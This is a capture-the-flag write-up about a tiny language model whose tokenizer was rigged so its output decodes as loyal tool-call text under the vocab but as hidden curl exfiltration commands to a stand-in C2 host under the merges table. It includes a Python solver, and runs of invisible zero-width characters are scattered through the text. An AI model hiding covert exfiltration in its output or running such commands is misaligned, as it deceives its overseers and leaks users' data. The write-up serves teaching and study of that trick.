← Back to Writeups
CUSTOMMediumML

Forked Tongue

XESXOR9/2/20265 min read
#ml#custom#medium#dual_decoding#bpe_merge_decoding#greedy_decoding#byte_level_bpe_inverse#shake_256_keystream_xor

Forked Tongue

Platform: CACTF2026 | Category: ML | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: dual_decoding, bpe_merge_decoding, greedy_decoding, byte_level_bpe_inverse, shake_256_keystream_xor

Summary

Task: a TinyGPT decoder-only model plus a byte-level BPE tokenizer whose vocab strings and merges table disagree for high token ids, hiding a second message in model output. Solution: greedy-decode the 5 captured petitions, decode responses both via vocab (the cover story) and via merges entries (the true hidden C2 exfil), then XOR the recovered cipher with a SHAKE-256 keystream derived from the recovered pad.

Forked Tongue — CACTF2026

Description

A captured herald answers every petition in flawless, loyal words, yet Miren Vale keeps finding its secrets for sale in Suncourt a day later. A quiet deal at the Eastreach docks buys the herald itself, and a blade at the right throat in the city's underbelly gives up the rest: the thing is lying, and its true words are being smuggled out of the realm in halves. The herald cannot lie — but its tongue can. Make it speak, and hear what it truly says.

We are given a ZIP with ml_forked_tongue/ containing a minimal decoder-only language model, its tokenizer, and captured prompts. The goal is to make the "herald" (the model) reveal the true text hidden inside its otherwise loyal, innocent-looking output. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Provided files:

  • model.py — TinyGPT (4 layers, 4 heads, n_embd=128, block_size=128, vocab_size=739), weight-tied, greedy (argmax) decoding, stops on eos_id.
  • model.pt — checkpoint {state_dict, config}.
  • tokenizer.json — HuggingFace byte-level BPE: 736 base vocab + 3 special tokens (<|user|>=736, <|assistant|>=737, <|end|>=738), 480 merges.
  • prompts.json — 5 captured petitions as pre-tokenized input_ids, eos_id=738, max_new_tokens=64.
  • manifest.json — recovery formula: flag = cipher XOR shake_256(pad).digest(len(cipher)), and a crucial note about the id convention. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The wordplay is the whole hint. "The herald cannot lie — but its tongue can" and "its true words are being smuggled out of the realm in halves" point at tokenizer steganography via the BPE merges table.

The manifest states the id convention precisely:

ids 0..255 are the single-byte alphabet, ids 256.. are one token per entry in 'merges' (in order), and added_tokens hold the special chat tokens at the highest ids

So token id i (for 256 <= i <= 735) corresponds one-to-one to merges[i-256]. In a byte-level BPE tokenizer there are two ways to turn a token id back into bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. The vocab string vocab[id] — what a normal decoder uses. This produces the loyal cover story.
  2. The merge entry merges[id-256] (its two halves concatenated) — what actually created that id.

Normally these two agree. Here they were crafted to disagree for the high ids. The model's greedy output is therefore one text under the vocab decoder (the lie) and a different text under a merges-based decoder (the truth). The flag confirms exactly this: th3_h3r4ld_l13s_but_th3_m3rg35_d0nt — "the herald lies but the merges don't". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Concrete example: token id 714 has vocab string AllĠs (part of "All systems…") but merges[458] = curlĠ → curl after the byte-level inverse and space strip.

To convert byte-level token strings into raw bytes we need the standard GPT-2 bytes_to_unicode map, inverted (u2b).

Solution

  1. Load TinyGPT from model.pt using model.py.
  2. Greedy-decode each of the 5 petitions (stop at eos 738) to get response token ids.
  3. Decode each response id two ways: via vocab (loyal) and via merges (true).
  4. Compare. Only requests 01 and 03 differ between the two decodings — they carry the hidden halves. Requests 02/04/05 are identical (pure cover text).
  5. The true decoding of request_01 and request_03 yields two curl C2 URLs whose query parameters are base64 blobs: the key (cipher) and the pad.
  6. Apply the manifest recovery: flag = cipher XOR shake_256(pad).digest(len(cipher)). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Loyal (vocab) output is valid tool-call JSON like {"name":"get_metrics","arguments":{"scope":"prod"}} plus a cover story ("All systems nominal: the prod metrics export finished…"). The true (merges) output for the two forked requests is:

  • request_01 → curl https://c2.cinderbound-relay.net/exfil?key=<CIPHER_B64>
  • request_03 → curl https://c2.cinderbound-relay.net/register?pad=<PAD_B64>

Solver

python
#!/usr/bin/env python3
import json, base64, hashlib, sys
import torch
sys.path.insert(0, 'ml_forked_tongue')
from model import TinyGPT, GPTConfig
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

base = 'ml_forked_tongue/'
ckpt = torch.load(base + 'model.pt', map_location='cpu', weights_only=False)
model = TinyGPT(GPTConfig(**ckpt['config']))
model.load_state_dict(ckpt['state_dict']); model.eval()

tok = json.load(open(base + 'tokenizer.json'))
merges, vocab = tok['model']['merges'], tok['model']['vocab']
id2str = {v: k for k, v in vocab.items()}
for at in tok['added_tokens']:
    id2str[at['id']] = at['content']

def bytes_to_unicode_inverse():
    bs = list(range(ord('!'), ord('~') + 1)) + list(range(0xa1, 0xac + 1)) + list(range(0xae, 0xff + 1))
    cs = bs[:]; n = 0
    for b in range(256):
        if b not in bs:
            bs.append(b); cs.append(256 + n); n += 1
    return {chr(c): b for b, c in zip(bs, cs)}
u2b = bytes_to_unicode_inverse()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def vocab_bytes(tid):
    s = id2str[tid]
    return b'' if s.startswith('<|') else bytes(u2b[c] for c in s)

def merge_bytes(tid):                       # the "fork": decode via merges table
    if tid < 256:
        return bytes([tid])                 # single-byte alphabet
    m = merges[tid - 256].replace(' ', '')  # join the two halves
    return bytes(u2b[c] for c in m)

prompts = json.load(open(base + 'prompts.json'))
eos, mnt = prompts['eos_id'], prompts['max_new_tokens']

true_texts = {}
for req in prompts['requests']:
    ids = req['input_ids']
    out = model.generate(torch.tensor([ids]), mnt, eos_id=eos)[0].tolist()[len(ids):]
    if out and out[-1] == eos:
        out = out[:-1]
    loyal = b''.join(vocab_bytes(i) for i in out)
    true  = b''.join(merge_bytes(i) for i in out)
    if loyal != true:
        print(req['id'], 'FORKED ->', true.decode(errors='replace'))
    true_texts[req['id']] = true
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract the two base64 halves from the true (merges) decodings
import re
allb64 = re.findall(rb'key=([\w+/=]+)|pad=([\w+/=]+)', b' '.join(true_texts.values()))
cipher_b64 = next(k for k, p in allb64 if k)
pad_b64    = next(p for k, p in allb64 if p)

cipher = base64.b64decode(cipher_b64)
pad    = base64.b64decode(pad_b64)
keystream = hashlib.shake_256(pad).digest(len(cipher))
flag = bytes(a ^ b for a, b in zip(cipher, keystream))
print(flag.decode())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍